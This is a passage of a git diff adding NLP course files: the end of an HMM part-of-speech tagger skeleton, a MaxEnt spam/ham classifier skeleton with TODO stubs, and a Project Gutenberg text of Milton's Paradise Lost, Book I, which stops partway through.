"unknown words" + # at test time. Below we make all the necessary transformations + # to ''. + for tag,dict in emissions.items(): + for word,count in dict.items(): + if wordcounts[word] == 1: + del emissions[tag][word] + emissions[tag][''] += 1 + # Here you need to add code that will turn these dictionaries + # of counts into dictionaries of smoothed conditional probabilities + return (transitions, emissions) + +def viterbi_tags (untagged_sentence): + """Given a string containing the space-separated words of a sentence; + (there should even be spaces on either side of punctuation, as in the + WSJ training data), return an array containing the mostl likely + sequence of part-of-speech tags.""" + wordarray = untagged_sentence.split() + # Implement Viterbi here + # return the mostly likely sequence of part-of-speech tags + +def true_tags (tagged_sentence): + """Given a string containing the space-separated words/POS of a sentence; + (there should even be spaces on either side of punctuation, as in the + WSJ training data) pull out and return the tag sequence.""" + wordarray = tagged_sentence.split() + tags = [word.split('/')[1] for word in wordarray] + return tags + + +if __name__ == '__main__': + print "Usage:", sys.argv[0], "wsjtrainfile wsjtestfile" + dirs = sys.argv[1:-1] + testfile = sys.argv[-1] + h = hmm (sys.stdin) + print h[0] + print '------' + print h[1] + print true_tags ('The/DT August/NNP deficit/NN and/CC the/DT #/# 2.2/CD billion/CD gap/NN') + + diff --git a/mccalum/maxent.py b/mccalum/maxent.py new file mode 100644 index 0000000..07ebd77 --- /dev/null +++ b/mccalum/maxent.py @@ -0,0 +1,125 @@ +#!/sw/bin/python + +import math +import sys +import glob +import pickle +import optimize +from dicts import DefaultDict + +# In the documentation and variable names below "class" is the same +# as "category" + +def train_maxent (dirs): + """Train and return a MaxEnt classifier. + The datastructure returned is dictionary whose keys are + ('classname','word') tuples. The values in the dictionary are + the parameters (lambda weights) of the classifier. + Note that this method does not return the list of classnames, + but the caller has those available already, since it is exactly the + 'dirs' argument. + + If you need to recover the classnames from the diciontary itself, + you'd need to do something like: + maxent = train_maxent(dirs) + classes = list(set([c for (c,v) in maxent.keys()])) + + Some typical usage: + dirs = ['spam','ham'] # where these are sub-directories of the CWD + maxent = train_maxent(dirs) + # interested in seeing the weight of "nigerian" in the "spam" class? + lambda_spam_nigerian = maxent[('spam','nigerian')] + # to classify a document + scores = classify(maxent,dirs,"spam/file123") + """ + classes = dirs + maxent = DefaultDict(0) + # Gather the "constraints" and initialize all-zero maxent dictionary + constraints = DefaultDict(0) + for cls in classes: + maxent[(cls,'DEFAULT')] = 0 + print cls + for file in glob.glob(cls+"/*"): + for word in open(file).read().split(): + word = word.lower() + constraints[(cls,word)] += 1 + for clss in classes: + maxent[(clss,word)] = 0 + # Remember the maxent features, and get the starting point for optimization + features = maxent.keys() + lambda0 = maxent.values() + # Here call an optimizer to find the best lambdas + lambdaopt = optimize.fminNCG(value, lambda0, gradient, args=(features,dirs), printmessg=1) + # Put the final optimal parameters are in returned dictionary + assert maxent.keys() == features # Make sure the keys have not changed order + maxent2 = dict([(k,v) for (k,v) in zip(maxent.keys(),lambdaopt)]) + return maxent2 + +def gradient (lambdas, keys, dirs): + # TO DO: Implement this! + return None + +def value (lambdas, keys, dirs): + """Return the log-likelihood of the true labels + of the documents in the directories in the list 'dirs', + using the parameters given in lambdas, where those lambdas + correspond to the (word,class) keys given in 'keys'.""" + # Build a MaxEnt classifier dictionary from the keys and lambdas + maxent = dict([(k,v) for (k,v) in zip(keys,lambdas)]) + # Use this MaxEnt classifier to classify all the documents in dirs + # Accumulate the log-likelihood of the correct class + classes = dirs + total_log_prob = 0 + for c in classes: + for file in glob.glob(c+"/*"): + probs = classify(maxent,file) + # Pull out of 'probs' the log-prob of class c + # Remember, probs looks like [(0.85,'spam'), (0.15,'ham')] + true_class = [x[0] for x in probs if x[1] == c] + true_class_prob = true_class[0] + total_log_prob += math.log(true_class_prob) + # Return the NEGATIVE total_log_prob because fminNCG minimizes, + # and we want to MAXIMIZE log probability + # TO DO: Incorporate a Gaussian prior on parameters here! + return - total_log_prob + +def classify (maxent, classes, filename): + """Given a trained MaxEnt classifier returned by train_maxent(), and + the filename of a test document, d, return an array of tuples, each + containing a class label; the array is sorted by log-probability + of the class, log p(c|d)""" + scores = [] + print 'Classifying', filename + for c in classes: + # Put in the weight for the default feature + score = maxent[(c,'DEFAULT')] + # Put in the weight for all the words in the document + for word in open(filename).read().split(): + word = word.lower() + score += maxent[(c,word)] + scores.append(score) + # exp() and normalize the scores to turn them into probabilities + minimum = min(scores) + scores = [math.exp(x-minimum) for x in scores] + normalizer = sum(scores) + scores = [x/normalizer for x in scores] + # make the scores list actually contain tuples like (0.84,"spam") + scores = zip(scores,classes) + scores.sort() + return scores + + +if __name__ == '__main__': + print 'argv', sys.argv + print "Usage:", sys.argv[0], "classdir1 classdir2 [classdir3...] testfile" + dirs = sys.argv[1:-1] + testfile = sys.argv[-1] + maxent = train_maxent (dirs) + print classify(maxent, dirs, testfile) + pickle.dump(maxent, open("maxent.pickle",'w')) + +# E.g. type at command line +# python maxent.py spam ham spam/file123 +# You will need the Numeric and MLab libraries to be installed. +# Otherwise you can implement your own conjugate gradient method, +# which isn't very hard either. For example, see "Numeric Recipes in C". diff --git a/mccalum/milton-paradise.txt b/mccalum/milton-paradise.txt new file mode 100644 index 0000000..8e77fc6 --- /dev/null +++ b/mccalum/milton-paradise.txt @@ -0,0 +1,10955 @@ + +**This is the Project Gutenberg Etext of Paradise Lost(Raben)** +****This file should be named plrabn11.txt or plrabn11.zip***** + +Corrected EDITIONS of our etexts get a new NUMBER, xxxxx11.txt. +VERSIONS based on separate sources get new LETTER, xxxxx10a.txt. + +Information about Project Gutenberg (one page) + +We produce about one million dollars for each hour we work. One +hundred hours is a conservative estimate for how long it we take +to get any etext selected, entered, proofread, edited, copyright +searched and analyzed, the copyright letters written, etc. This +projected audience is one hundred million readers. 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KRAMER, Attorney +CompuServe: 72600,2026 + Internet: 72600.2026@compuserve.com + Tel: (212) 254-5093 + +*END*THE SMALL PRINT! FOR PUBLIC DOMAIN ETEXTS*Ver.03.08.92*END* + +This is the February 1992 Project Gutenberg release of: + +Paradise Lost by John Milton + +The oldest etext known to Project Gutenberg (ca. 1964-1965) +(If you know of any older ones, please let us know.) + + +Introduction (one page) + +This etext was originally created in 1964-1965 according to Dr. +Joseph Raben of Queens College, NY, to whom it is attributed by +Project Gutenberg. We had heard of this etext for years but it +was not until 1991 that we actually managed to track it down to +a specific location, and then it took months to convince people +to let us have a copy, then more months for them actually to do +the copying and get it to us. Then another month to convert to +something we could massage with our favorite 486 in DOS. After +that is was only a matter of days to get it into this shape you +will see below. The original was, of course, in CAPS only, and +so were all the other etexts of the 60's and early 70's. Don't +let anyone fool you into thinking any etext with both upper and +lower case is an original; all those original Project Gutenberg +etexts were also in upper case and were translated or rewritten +many times to get them into their current condition. They have +been worked on by many people throughout the world. + +In the course of our searches for Professor Raben and his etext +we were never able to determine where copies were or which of a +variety of editions he may have used as a source. We did get a +little information here and there, but even after we received a +copy of the etext we were unwilling to release it without first +determining that it was in fact Public Domain and finding Raben +to verify this and get his permission. Interested enough, in a +totally unrelated action to our searches for him, the professor +subscribed to the Project Gutenberg listserver and we happened, +by accident, to notice his name. (We don't really look at every +subscription request as the computers usually handle them.) The +etext was then properly identified, copyright analyzed, and the +current edition prepared. + +To give you an estimation of the difference in the original and +what we have today: the original was probably entered on cards +commonly known at the time as "IBM cards" (Do Not Fold, Spindle +or Mutilate) and probably took in excess of 100,000 of them. A +single card could hold 80 characters (hence 80 characters is an +accepted standard for so many computer margins), and the entire +original edition we received in all caps was over 800,000 chars +in length, including line enumeration, symbols for caps and the +punctuation marks, etc., since they were not available keyboard +characters at the time (probably the keyboards operated at baud +rates of around 113, meaning the typists had to type slowly for +the keyboard to keep up). + +This is the second version of Paradise Lost released by Project +Gutenberg. The first was released as our October, 1991 etext. + + + + + +Paradise Lost + + + + +Book I + + +Of Man's first disobedience, and the fruit +Of that forbidden tree whose mortal taste +Brought death into the World, and all our woe, +With loss of Eden, till one greater Man +Restore us, and regain the blissful seat, +Sing, Heavenly Muse, that, on the secret top +Of Oreb, or of Sinai, didst inspire +That shepherd who first taught the chosen seed +In the beginning how the heavens and earth +Rose out of Chaos: or, if Sion hill +Delight thee more, and Siloa's brook that flowed +Fast by the oracle of God, I thence +Invoke thy aid to my adventurous song, +That with no middle flight intends to soar +Above th' Aonian mount, while it pursues +Things unattempted yet in prose or rhyme. +And chiefly thou, O Spirit, that dost prefer +Before all temples th' upright heart and pure, +Instruct me, for thou know'st; thou from the first +Wast present, and, with mighty wings outspread, +Dove-like sat'st brooding on the vast Abyss, +And mad'st it pregnant: what in me is dark +Illumine, what is low raise and support; +That, to the height of this great argument, +I may assert Eternal Providence, +And justify the ways of God to men. + Say first--for Heaven hides nothing from thy view, +Nor the deep tract of Hell--say first what cause +Moved our grand parents, in that happy state, +Favoured of Heaven so highly, to fall off +From their Creator, and transgress his will +For one restraint, lords of the World besides. +Who first seduced them to that foul revolt? + Th' infernal Serpent; he it was whose guile, +Stirred up with envy and revenge, deceived +The mother of mankind, what time his pride +Had cast him out from Heaven, with all his host +Of rebel Angels, by whose aid, aspiring +To set himself in glory above his peers, +He trusted to have equalled the Most High, +If he opposed, and with ambitious aim +Against the throne and monarchy of God, +Raised impious war in Heaven and battle proud, +With vain attempt. Him the Almighty Power +Hurled headlong flaming from th' ethereal sky, +With hideous ruin and combustion, down +To bottomless perdition, there to dwell +In adamantine chains and penal fire, +Who durst defy th' Omnipotent to arms. + Nine times the space that measures day and night +To mortal men, he, with his horrid crew, +Lay vanquished, rolling in the fiery gulf, +Confounded, though immortal. But his doom +Reserved him to more wrath; for now the thought +Both of lost happiness and lasting pain +Torments him: round he throws his baleful eyes, +That witnessed huge affliction and dismay, +Mixed with obdurate pride and steadfast hate. +At once, as far as Angels ken, he views +The dismal situation waste and wild. +A dungeon horrible, on all sides round, +As one great furnace flamed; yet from those flames +No light; but rather darkness visible +Served only to discover sights of woe, +Regions of sorrow, doleful shades, where peace +And rest can never dwell, hope never comes +That comes to all, but torture without end +Still urges, and a fiery deluge, fed +With ever-burning sulphur unconsumed. +Such place Eternal Justice has prepared +For those rebellious; here their prison ordained +In utter darkness, and their portion set, +As far removed from God and light of Heaven +As from the centre thrice to th' utmost pole. +Oh how unlike the place from whence they fell! +There the companions of his fall, o'erwhelmed +With floods and whirlwinds of tempestuous fire, +He soon discerns; and, weltering by his side, +One next himself in power, and next in crime, +Long after known in Palestine, and named +Beelzebub. To whom th' Arch-Enemy, +And thence in Heaven called Satan, with bold words +Breaking the horrid silence, thus began:-- + "If thou beest he--but O how fallen! how changed +From him who, in the happy realms of light +Clothed with transcendent brightness, didst outshine +Myriads, though bright!--if he whom mutual league, +United thoughts and counsels, equal hope +And hazard in the glorious enterprise +Joined with me once, now misery hath joined +In equal ruin; into what pit thou seest +From what height fallen: so much the stronger proved +He with his thunder; and till then who knew +The force of those dire arms? Yet not for those, +Nor what the potent Victor in his rage +Can else inflict, do I repent, or change, +Though changed in outward lustre, that fixed mind, +And high disdain from sense of injured merit, +That with the Mightiest raised me to contend, +And to the fierce contentions brought along +Innumerable force of Spirits armed, +That durst dislike his reign, and, me preferring, +His utmost power with adverse power opposed +In dubious battle on the plains of Heaven, +And shook his throne. What though the field be lost? +All is not lost--the unconquerable will, +And study of revenge, immortal hate, +And courage never to submit or yield: +And what is else not to be overcome? +That glory never shall his wrath or might +Extort from me. To bow and sue for grace +With suppliant knee, and deify his power +Who, from the terror of this arm, so late +Doubted his empire--that were low indeed; +That were an ignominy and shame beneath +This downfall; since, by fate, the strength of Gods, +And this empyreal sybstance, cannot fail; +Since, through experience of this great event, +In arms not worse, in foresight much advanced, +We may with more successful hope resolve +To wage by force or guile eternal war, +Irreconcilable to our grand Foe, +Who now triumphs, and in th' excess of joy +Sole reigning holds the tyranny of Heaven." + So spake th' apostate Angel, though in pain, +Vaunting aloud, but racked with deep despair; +And him thus answered soon his bold compeer:-- + "O Prince, O Chief of many throned Powers +That led th' embattled Seraphim to war +Under thy conduct, and, in dreadful deeds +Fearless, endangered Heaven's perpetual King, +And put to proof his high supremacy, +Whether upheld by strength, or chance, or fate, +Too well I see and rue the dire event +That, with sad overthrow and foul defeat, +Hath lost us Heaven, and all this mighty host +In horrible destruction laid thus low, +As far as Gods and heavenly Essences +Can perish: for the mind and spirit remains +Invincible, and vigour soon returns, +Though all our glory extinct, and happy state +Here swallowed up in endless misery. +But what if he our Conqueror (whom I now +Of force believe almighty, since no less +Than such could have o'erpowered such force as ours) +Have left us this our spirit and strength entire, +Strongly to suffer and support our pains, +That we may so suffice his vengeful ire, +Or do him mightier service as his thralls +By right of war, whate'er his business be, +Here in the heart of Hell to work in fire, +Or do his errands in the gloomy Deep? +What can it the avail though yet we feel +Strength undiminished, or eternal being +To undergo eternal punishment?" + Whereto with speedy words th' Arch-Fiend replied:-- +"Fallen Cherub, to be weak is miserable, +Doing or suffering: but of this be sure-- +To do aught good never will be our task, +But ever to do ill our sole delight, +As being the contrary to his high will +Whom we resist. If then his providence +Out of our evil seek to bring forth good, +Our labour must be to pervert that end, +And out of good still to find means of evil; +Which ofttimes may succeed so as perhaps +Shall grieve him, if I fail not, and disturb +His inmost counsels from their destined aim. +But see! the angry Victor hath recalled +His ministers of vengeance and pursuit +Back to the gates of Heaven: the sulphurous hail, +Shot after us in storm, o'erblown hath laid +The fiery surge that from the precipice +Of Heaven received us falling; and the thunder, +Winged with red lightning and impetuous rage, +Perhaps hath spent his shafts, and ceases now +To bellow through the vast and boundless Deep. +Let us not slip th' occasion, whether scorn +Or satiate fury yield it from our Foe. +Seest thou yon dreary plain, forlorn and wild, +The seat of desolation, void of light, +Save what the glimmering of these livid flames +Casts pale and dreadful? Thither let us tend +From off the tossing of these fiery waves; +There rest, if any rest can harbour there; +And, re-assembling our afflicted powers, +Consult how we may henceforth most offend +Our enemy, our own loss how repair, +How overcome this dire calamity, +What reinforcement we may gain from hope, +If not, what resolution from despair." + Thus Satan, talking to his nearest mate, +With head uplift above the wave, and eyes +That sparkling blazed; his other parts besides +Prone on the flood, extended long and large, +Lay floating many a rood, in bulk as huge +As whom the fables name of monstrous size, +Titanian or Earth-born, that warred on Jove, +Briareos or Typhon, whom the den +By ancient Tarsus held, or that sea-beast +Leviathan, which God of all his works +Created hugest that swim th' ocean-stream. +Him, haply slumbering on the Norway foam, +The pilot of some small night-foundered skiff, +Deeming some island, oft, as seamen tell, +With fixed anchor in his scaly rind, +Moors by his side under the lee, while night +Invests the sea, and wished morn delays. +So stretched out huge in length the Arch-fiend lay, +Chained on the burning lake; nor ever thence +Had risen, or heaved his head, but that the will +And high permission of all-ruling Heaven +Left him at large to his own dark designs, +That with reiterated crimes he might +Heap on himself damnation, while he sought +Evil to others, and enraged might see +How all his malice served but to bring forth +Infinite goodness, grace, and mercy, shewn +On Man by him seduced, but on himself +Treble confusion, wrath, and vengeance poured. + Forthwith upright he rears from off the pool +His mighty stature; on each hand the flames +Driven backward slope their pointing spires, and,rolled +In billows, leave i' th' midst a horrid vale. +Then with expanded wings he steers his flight +Aloft, incumbent on the dusky air, +That felt unusual weight; till on dry land +He lights--if it were land that ever burned +With solid, as the lake with liquid fire, +And such appeared in hue as when the force +Of subterranean wind transprots a hill +Torn from Pelorus, or the shattered side +Of thundering Etna, whose combustible +And fuelled entrails, thence conceiving fire, +Sublimed with mineral fury, aid the winds, +And leave a singed bottom all involved +With stench and smoke. Such resting found the sole +Of unblest feet. Him followed his next mate; +Both glorying to have scaped the Stygian flood +As gods, and by their own recovered strength, +Not by the sufferance of supernal Power. + "Is this the region, this the soil, the clime," +Said then the lost Archangel, "this the seat +That we must change for Heaven?--this mournful gloom +For that celestial light? Be it so, since he +Who now is sovereign can dispose and bid +What shall be right: farthest from him is best +Whom reason hath equalled, force hath made supreme +Above his equals. Farewell, happy fields, +Where joy for ever dwells! Hail, horrors! hail, +Infernal world! and thou, profoundest Hell, +Receive thy new possessor--one who brings +A mind not to be changed by place or time. +The mind is its own place, and in itself +Can make a Heaven of Hell, a Hell of Heaven. +What matter where, if I be still the same, +And what I should be, all but less than he +Whom thunder hath made greater? Here at least +We shall be free; th' Almighty hath not built +Here for his envy, will not drive us hence: +Here we may reigh secure; and, in my choice, +To reign is worth ambition, though in Hell: +Better to reign in Hell than serve in Heaven. +But wherefore let we then our faithful friends, +Th' associates and co-partners of our loss, +Lie thus astonished on th' oblivious pool, +And call them not to share with us their part +In this unhappy mansion, or once more +With rallied arms to try what may be yet +Regained in Heaven, or what more lost in Hell?" + So Satan spake; and him Beelzebub +Thus answered:--"Leader of those armies bright +Which, but th' Omnipotent, none could have foiled! +If once they hear that voice, their liveliest pledge +Of hope in fears and dangers--heard so oft +In worst extremes, and on the perilous edge +Of battle, when it raged, in all assaults +Their surest signal--they will soon resume +New courage and revive, though now they lie +Grovelling and prostrate on yon lake of fire, +As we erewhile, astounded and amazed; +No wonder, fallen such a pernicious height!" + He scare had ceased when the superior Fiend +Was moving toward the shore; his ponderous shield, +Ethereal temper, massy, large, and round, +Behind him cast. The broad circumference +Hung on his shoulders like the moon, whose orb +Through optic glass the Tuscan artist views +At evening, from the top of Fesole, +Or in Valdarno, to descry new lands, +Rivers, or mountains, in her spotty globe. +His spear--to equal which the tallest pine +Hewn on Norwegian hills, to be the mast +Of some great ammiral, were but a wand-- +He walked with, to support uneasy steps +Over the burning marl, not like those steps +On Heaven's azure; and the torrid clime +Smote on him sore besides, vaulted with fire. +Nathless he so endured, till on the beach +Of that inflamed sea he stood, and called +His legions--Angel Forms, who lay entranced +Thick as autumnal leaves that strow the brooks +In Vallombrosa, where th' Etrurian shades +High over-arched embower; or scattered sedge +Afloat, when with fierce winds Orion armed +Hath vexed the Red-Sea coast, whose waves o'erthrew +Busiris and his Memphian chivalry, +While with perfidious hatred they pursued +The sojourners of Goshen, who beheld +From the safe shore their floating carcases +And broken chariot-wheels. So thick bestrown, +Abject and lost, lay these, covering the flood, +Under amazement of their hideous change. +He called so loud that all the hollow deep +Of Hell resounded:--"Princes, Potentates, +Warriors, the Flower of Heaven--once yours; now lost, +If such astonishment as this can seize +Eternal Spirits! Or have ye chosen this place +After the toil of battle to repose +Your wearied virtue, for the ease you find +To slumber here, as in the vales of Heaven? +Or in this abject posture have ye sworn +To adore the Conqueror, who now beholds +Cherub and Seraph rolling in the flood +With scattered arms and ensigns, till anon +His swift pursuers from Heaven-gates discern +Th' advantage, and, descending, tread us down +Thus drooping, or with linked thunderbolts +Transfix us to the bottom of this gulf? +Awake, arise, or be for ever fallen!" + They heard, and were abashed, and up they sprung +Upon the wing, as when men wont to watch +On duty, sleeping found by whom they dread, +Rouse and bestir themselves ere well awake. +Nor did they not perceive the evil plight +In which they were, or the fierce pains not feel; +Yet to their General's voice they soon obeyed +Innumerable. As when the potent rod +Of Amram's son, in Egypt's evil day, +Waved round the coast, up-called a pitchy cloud +Of locusts, warping on the eastern wind, +That o'er the realm of impious Pharaoh hung +Like Night, and darkened all the land of Nile; +So numberless were those bad Angels seen +Hovering on wing under the cope of Hell, +'Twixt upper, nether, and surrounding fires; +Till, as a signal given, th' uplifted spear +Of their great Sultan waving to direct +Their course, in even balance down they light +On the firm brimstone, and fill all the plain: +A multitude like which the populous North +Poured never from her frozen loins to pass +Rhene or the Danaw, when her barbarous sons +Came like a deluge on the South, and spread +Beneath Gibraltar to the Libyan sands. +Forthwith, form every squadron and each band, +The heads and leaders thither haste where stood +Their great Commander--godlike Shapes, and Forms +Excelling human; princely Dignities; +And Powers that erst in Heaven sat on thrones, +Though on their names in Heavenly records now +Be no memorial, blotted out and rased +By their rebellion from the Books of Life. +Nor had they yet among the sons of Eve +Got them new names, till, wandering o'er the earth, +Through God's high sufferance for the trial of man, +By falsities and lies the greatest part +Of mankind they corrupted to forsake +God their Creator, and th' invisible +Glory of him that made them to transform +Oft to the image of a brute, adorned +With gay religions full of pomp and gold, +And devils to adore for deities: +Then were they known to men by various names, +And various idols through the heathen world. + Say, Muse, their names then known, who first, who last, +Roused from the slumber on that fiery couch, +At their great Emperor's call, as next in worth +Came singly where he stood on the bare strand, +While the promiscuous crowd stood yet aloof? + The chief were those who, from the pit of Hell +Roaming to seek their prey on Earth, durst fix +Their seats, long after, next the seat of God, +Their altars by his altar, gods adored +Among the nations round, and durst abide +Jehovah thundering out of Sion, throned +Between the Cherubim; yea, often placed +Within his sanctuary itself their shrines, +Abominations; and with cursed things +His holy rites and solemn feasts profaned, +And with their darkness durst affront his light. +First, Moloch, horrid king, besmeared with blood +Of human sacrifice, and parents' tears; +Though, for the noise of drums and timbrels loud, +Their children's cries unheard that passed through fire +To his grim idol. Him the Ammonite +Worshiped in Rabba and her watery plain, +In Argob and in Basan, to the stream +Of utmost Arnon. Nor content with such +Audacious neighbourhood, the wisest heart +Of Solomon he led by fraoud to build +His temple right against the temple of God +On that opprobrious hill, and made his grove +The pleasant valley of Hinnom, Tophet thence +And black Gehenna called, the type of Hell. +Next Chemos, th' obscene dread of Moab's sons, +From Aroar to Nebo and the wild +Of southmost Abarim; in Hesebon +And Horonaim, Seon's real, beyond +The flowery dale of Sibma clad with vines, +And Eleale to th' Asphaltic Pool: +Peor his other name, when he enticed +Israel in Sittim, on their march from Nile, +To do him wanton rites, which cost them woe. +Yet thence his lustful orgies he enlarged +Even to that hill of scandal, by the grove +Of Moloch homicide, lust hard by hate, +Till good Josiah drove them thence to Hell. +With these came they who, from the bordering flood +Of old Euphrates to the brook that parts +Egypt from Syrian ground, had general names +Of Baalim and Ashtaroth--those male, +These feminine. For Spirits, when they please, +Can either sex assume, or both; so soft +And uncompounded is their essence pure, +Not tried or manacled with joint or limb, +Nor founded on the brittle strength of bones, +Like cumbrous flesh; but, in what shape they choose, +Dilated or condensed, bright or obscure, +Can execute their airy purposes, +And works of love or enmity fulfil. +For those the race of Israel oft forsook +Their Living Strength, and unfrequented left +His righteous altar, bowing lowly down +To bestial gods; for which their heads as low +Bowed down in battle, sunk before the spear +Of despicable foes. With these in troop +Came Astoreth, whom the Phoenicians called +Astarte, queen of heaven, with crescent horns; +To whose bright image nigntly by the moon +Sidonian virgins paid their vows and songs; +In Sion also not unsung, where stood +Her temple on th' offensive mountain, built +By that uxorious king whose heart, though large, +Beguiled by fair idolatresses, fell +To idols foul. Thammuz came next behind, +Whose annual wound in Lebanon allured +The Syrian damsels to lament his fate +In amorous ditties all a summer's day, +While smooth Adonis from his native rock +Ran purple to the sea, supposed with blood +Of Thammuz yearly wounded: the love-tale +Infected Sion's daughters with like heat, +Whose wanton passions in the sacred proch +Ezekiel saw, when, by the vision led, +His eye surveyed the dark idolatries +Of alienated Judah. Next came one +Who mourned in earnest, when the captive ark +Maimed his brute image, head and hands lopt off, +In his own temple, on the grunsel-edge, +Where he fell flat and shamed his worshippers: +Dagon his name, sea-monster,upward man +And downward fish; yet had his temple high +Reared in Azotus, dreaded through the coast +Of Palestine, in Gath and Ascalon, +And Accaron and Gaza's frontier bounds. +Him followed Rimmon, whose delightful seat +Was fair Damascus, on the fertile banks +Of Abbana and Pharphar, lucid streams. +He also against the house of God was bold: +A leper once he lost, and gained a king-- +Ahaz, his sottish conqueror, whom he drew +God's altar to disparage and displace +For one of Syrian mode, whereon to burn +His odious offerings, and adore the gods +Whom he had vanquished. After these appeared +A crew who, under names of old renown-- +Osiris, Isis, Orus, and their train-- +With monstrous shapes and sorceries abused +Fanatic Egypt and her priests to seek +Their wandering gods disguised in brutish forms +Rather than human. Nor did Israel scape +Th' infection, when their borrowed gold composed +The calf in Oreb; and the rebel king +Doubled that sin in Bethel and in Dan, +Likening his Maker to the grazed ox-- +Jehovah, who, in one night, when he passed +From Egypt marching, equalled with one stroke +Both her first-born and all her bleating gods. +Belial came last; than whom a Spirit more lewd +Fell not from Heaven, or more gross to love +Vice for itself. To him no temple stood +Or altar smoked; yet who more oft than he +In temples and at altars, when the priest +Turns atheist, as did Eli's sons, who filled +With lust and violence the house of God? +In courts and palaces he also reigns, +And in luxurious cities, where the noise +Of riot ascends above their loftiest towers, +And injury and outrage; and, when night +Darkens the streets, then wander forth the sons +Of Belial, flown with insolence and wine. +Witness the streets of Sodom, and that night +In Gibeah, when the hospitable door +Exposed a matron, to avoid worse rape. + These were the prime in order and in might: +The rest were long to tell; though far renowned +Th' Ionian gods--of Javan's issue held +Gods, yet confessed later than Heaven and Earth, +Their boasted parents;--Titan, Heaven's first-born, +With his enormous brood, and birthright seized +By younger Saturn: he from mightier Jove, +His own and Rhea's son, like measure found; +So Jove usurping reigned. These, first in Crete +And Ida known, thence on the snowy top +Of cold Olympus ruled the middle air, +Their highest heaven; or on the Delphian cliff, +Or in Dodona, and through all the bounds +Of Doric land; or who with Saturn old +Fled over Adria to th' Hesperian fields, +And o'er the Celtic roamed the utmost Isles. + All these and more came flocking; but with looks +Downcast and damp; yet such wherein appeared +Obscure some glimpse of joy to have found their Chief +Not in despair, to have found themselves not lost +In loss itself; which on his countenance cast +Like doubtful hue. But he, his wonted pride +Soon recollecting, with high words, that bore +Semblance of worth, not substance, gently raised +Their fainting courage, and dispelled their fears. +Then straight commands that, at the warlike sound +Of trumpets loud and clarions, be upreared +His mighty standard. That proud honour claimed +Azazel as his right, a Cherub tall: +Who forthwith from the glittering staff unfurled +Th' imperial ensign; which, full high advanced, +Shone like a meteor streaming to the wind, +With gems and golden lustre rich emblazed, +Seraphic arms and trophies; all the while +Sonorous metal blowing martial sounds: +At which the universal host up-sent +A shout that tore Hell's concave, and beyond +Frighted the reign of Chaos and old Night. +All in a moment through the gloom were seen +Ten thousand banners rise into the air, +With orient colours waving: with them rose +A forest huge of spears; and thronging helms +Appeared, and serried shields in thick array +Of depth immeasurable. Anon they move +In perfect phalanx to the Dorian mood +Of flutes and soft recorders--such as raised +To height of noblest temper heroes old +Arming to battle, and instead of rage +Deliberate valour breathed, firm, and unmoved +With dread of death to flight or foul retreat; +Nor wanting power to mitigate and swage +With solemn touches troubled thoughts, and chase +Anguish and doubt and fear and sorrow and pain +From mortal or immortal minds. Thus they, +Breathing united force with fixed thought, +Moved on in silence to soft pipes that charmed +Their painful steps o'er the burnt soil. And now +Advanced in view they stand--a horrid front +Of dreadful length and dazzling arms, in guise +Of warriors old, with ordered spear and shield, +Awaiting what command their mighty Chief +Had to impose. He through the armed files +Darts his experienced eye, and soon traverse +The whole battalion views--their order due, +Their visages and stature as of gods; +Their number last he sums. And now his heart +Distends with pride, and, hardening in his strength, +Glories: for never, since created Man, +Met such embodied force as, named with these, +Could merit more than that small infantry +Warred on by cranes--though all the giant brood +Of Phlegra with th' heroic race were joined +That fought at Thebes and Ilium, on each side +Mixed with auxiliar gods; and what resounds +In fable or romance of Uther's son, +Begirt with British and Armoric knights; +And all who since, baptized or infidel, +Jousted in Aspramont, or Montalban, +Damasco, or Marocco, or Trebisond, +Or whom Biserta sent from Afric shore +When Charlemain with all his peerage fell +By Fontarabbia. Thus far these beyond +Compare of mortal prowess, yet observed +Their dread Commander. He, above the rest +In shape and gesture proudly eminent, +Stood like a tower. His form had yet not lost +All her original brightness, nor appeared +Less than Archangel ruined, and th' excess +Of glory obscured: as when the sun new-risen +Looks through the horizontal misty air +Shorn of his beams, or, from behind the moon, +In dim eclipse, disastrous twilight sheds +On half the nations, and with fear of change +Perplexes monarchs. Darkened so, yet shone +Above them all th' Archangel: but his face +Deep scars of thunder had intrenched, and care +Sat on his faded cheek, but under brows +Of dauntless courage, and considerate pride +Waiting revenge. Cruel his eye, but cast +Signs of remorse and passion, to behold +The fellows of his crime, the followers rather +(Far other once beheld in bliss), condemned +For ever now to have their lot in pain-- +Millions of Spirits for his fault amerced +Of Heaven, and from eteranl splendours flung +For his revolt--yet faithful how they stood, +Their glory withered; as, when heaven's fire +Hath scathed the forest oaks or mountain pines, +With singed top their stately growth, though bare, +Stands on the blasted heath. He now prepared +To speak; whereat their doubled ranks they bend +From wing to wing, and half enclose him round +With all his peers: attention held them mute. +Thrice he assayed, and thrice, in spite of scorn, +Tears, such as Angels weep, burst forth: at last +Words interwove with sighs found out their way:-- + "O myriads of immortal Spirits! O Powers +Matchless, but with th' Almighth!--and that strife +Was not inglorious, though th' event was dire, +As this place testifies, and this dire change, +Hateful to utter. But what power of mind, +Forseeing or presaging, from the depth +Of knowledge past or present, could have feared +How such united force of gods, how such +As stood like these, could ever know repulse? +For who can yet believe, though after loss, +That all these puissant legions, whose exile +Hath emptied Heaven, shall fail to re-ascend, +Self-raised, and repossess their native seat? +For me, be witness all the host of Heaven, +If counsels different, or danger shunned +By me, have lost our hopes. But he who reigns +Monarch in Heaven till then as one secure +Sat on his throne, upheld by old repute, +Consent or custom, and his regal state +Put forth at full, but still his strength concealed-- +Which tempted our attempt, and wrought our fall. +Henceforth his might we know, and know our own, +So as not either to provoke, or dread +New war provoked: our better part remains +To work in close design, by fraud or guile, +What force effected not; that he no less +At length from us may find, who overcomes +By force hath overcome but half his foe. +Space may produce new Worlds; whereof so rife +There went a fame in Heaven that he ere long +Intended to create, and therein plant +A generation whom his choice regard +Should favour equal to the Sons of Heaven. +Thither, if but to pry, shall be perhaps +Our first eruption--thither, or elsewhere; +For this infernal pit shall never hold +Celestial Spirits in bondage, nor th' Abyss +Long under darkness cover. But these thoughts +Full counsel must mature. Peace is despaired; +For who can think submission? War, then, war +Open or understood, must be resolved." + He spake; and, to confirm his words, outflew +Millions of flaming swords, drawn from the thighs +Of mighty Cherubim; the sudden blaze +Far round illumined Hell. Highly they raged +Against the Highest, and fierce with grasped arms +Clashed on their sounding shields the din of war, +Hurling defiance toward the vault of Heaven. + There stood a hill not far, whose grisly top +Belched fire and rolling smoke; the rest entire +Shone with a glossy scurf--undoubted sign +That in his womb was hid metallic ore, +The work of sulphur. Thither, winged with speed, +A numerous brigade hastened: as when bands +Of pioneers, with spade and pickaxe armed, +Forerun the royal camp, to trench a field, +Or cast a rampart. Mammon led them on-- 